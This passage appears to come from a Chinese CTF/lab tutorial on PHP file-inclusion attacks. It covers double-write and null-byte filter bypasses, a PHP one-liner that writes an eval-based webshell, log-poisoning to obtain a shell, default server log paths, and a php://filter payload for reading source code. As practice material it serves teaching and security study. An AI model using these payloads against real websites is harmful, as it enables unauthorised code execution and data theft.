addslashes()函数:是一个过滤函数
参数传入之后构成的url是:includes/class_参数.php
源码本身就是有.php的后悔,我们可以传参数时舍后缀
#5 双写绕过
观察源码,
这段源码过滤了../,我们可以通过双写绕过,即:....//
#6 文件包含写webshell
观察源码,
这个和第一个差不多,就是参数是以post的方式提交的,我们只要用post的方法提交参数,就可以发现文件包含
此时,我们如果传入一个任意文件写入以下代码,执行之后就可以在文件的目录写入一个shell
<?php fputs ( fopen(\'shell.php\',\'w\') , \'<?php eval($_POST[shell])?>\') ;?>
这段代码的意思就是新建一个shell.php的文件,写入后面的一句话
#7 用post的方式做00截断或舍去后缀 ../../../phpinfo.php%00
#8 post方式做00截断或加./绕过
#9 post方式做舍去后缀名绕过
#10 post方式双写绕过
#11 简单的post方式包含,有一个隐藏的输入框,用隐藏的参数
#12 简单的get方式包含,有一个隐藏的输入框,用隐藏的参数
#13 get方式双写绕过
#14 post方式双写绕过
注:可能是环境的问题,很多题不能实现,只要懂原理就可以
#包含日志文件获取webshell
日志默认路径:
1、apache+Linux日志默认路径:
/ect/httpd/logs/access_log 或者 /var/log/httpd/wccess_log
2、apache+Win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
3、IIS6.0+Win2003默认日志文件
C:\WINDOWS\system32\Logfiles
4、IIs7.0+win2003默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
5、nginx日志文件默认路径
日志文件在用户安装目录logs目录下
例如安装路径伪/user/nginx,
拿我的日志文件目录就是在/user/nginx/logs里
利用方法:我们进行获取的时候首先要知道日志文件的路径,
既然我们申请访问的url会记录到日志中,我们可以在url中写入一句话然后提交,这时,我们就会在日志文件中写入一句话,
但是一般的浏览器都会编码我们提交的url,
我们可以用burpsuit抓包,在url中写入一句话进行提交,就能写入一句话并解析,这样就可以成功获取shell
三、php伪协议
#1 用php://filter获取flag
这里bugku有一个经典的文件包含+php://filter的题目:flag在index里
在页面上我们可以看到一个按钮链接,点击之后就会跳转到参数file的url
这里由参数file可以猜到用php://filter伪协议来读取flag
我们构造payload:?file=php://filter/read=convert.base64-encode/resource=index.php